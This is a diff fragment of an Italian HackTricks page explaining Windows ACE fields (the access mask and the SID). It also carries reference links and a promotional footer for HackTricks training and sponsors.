| Maschera di accesso | Valore a 32 bit i cui bit corrispondono ai diritti di accesso per l'oggetto. I bit possono essere impostati su on o off, ma il significato dell'impostazione dipende dal tipo di ACE. Ad esempio, se il bit che corrisponde al diritto di leggere le autorizzazioni è attivato e il tipo di ACE è Deny, l'ACE nega il diritto di leggere le autorizzazioni dell'oggetto. Se lo stesso bit è attivato ma il tipo di ACE è Allow, l'ACE concede il diritto di leggere le autorizzazioni dell'oggetto. Ulteriori dettagli sulla Maschera di Accesso appaiono nella tabella successiva. | | Maschera di accesso | Valore a 32 bit i cui bit corrispondono ai diritti di accesso per l'oggetto. I bit possono essere impostati su on o off, ma il significato dell'impostazione dipende dal tipo di ACE. Ad esempio, se il bit che corrisponde al diritto di leggere le autorizzazioni è attivato e il tipo di ACE è Deny, l'ACE nega il diritto di leggere le autorizzazioni dell'oggetto. Se lo stesso bit è attivato ma il tipo di ACE è Allow, l'ACE concede il diritto di leggere le autorizzazioni dell'oggetto. Ulteriori dettagli sulla Maschera di Accesso appaiono nella tabella successiva. |
| SID | Identifica un utente o gruppo il cui accesso è controllato o monitorato da questo ACE. | | SID | Identifica un utente o gruppo il cui accesso è controllato o monitorato da questo ACE. |
@ -175,3 +175,25 @@ In sintesi, ACL e ACE aiutano a definire controlli di accesso precisi, garantend
* [https://www.ntfs.com/ntfs-permissions-acl-use.htm](https://www.ntfs.com/ntfs-permissions-acl-use.htm) * [https://www.ntfs.com/ntfs-permissions-acl-use.htm](https://www.ntfs.com/ntfs-permissions-acl-use.htm)
* [https://secureidentity.se/acl-dacl-sacl-and-the-ace/](https://secureidentity.se/acl-dacl-sacl-and-the-ace/) * [https://secureidentity.se/acl-dacl-sacl-and-the-ace/](https://secureidentity.se/acl-dacl-sacl-and-the-ace/)
* [https://www.coopware.in2.info/\_ntfsacl\_ht.htm](https://www.coopware.in2.info/\_ntfsacl\_ht.htm) * [https://www.coopware.in2.info/\_ntfsacl\_ht.htm](https://www.coopware.in2.info/\_ntfsacl\_ht.htm)
<details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces" %}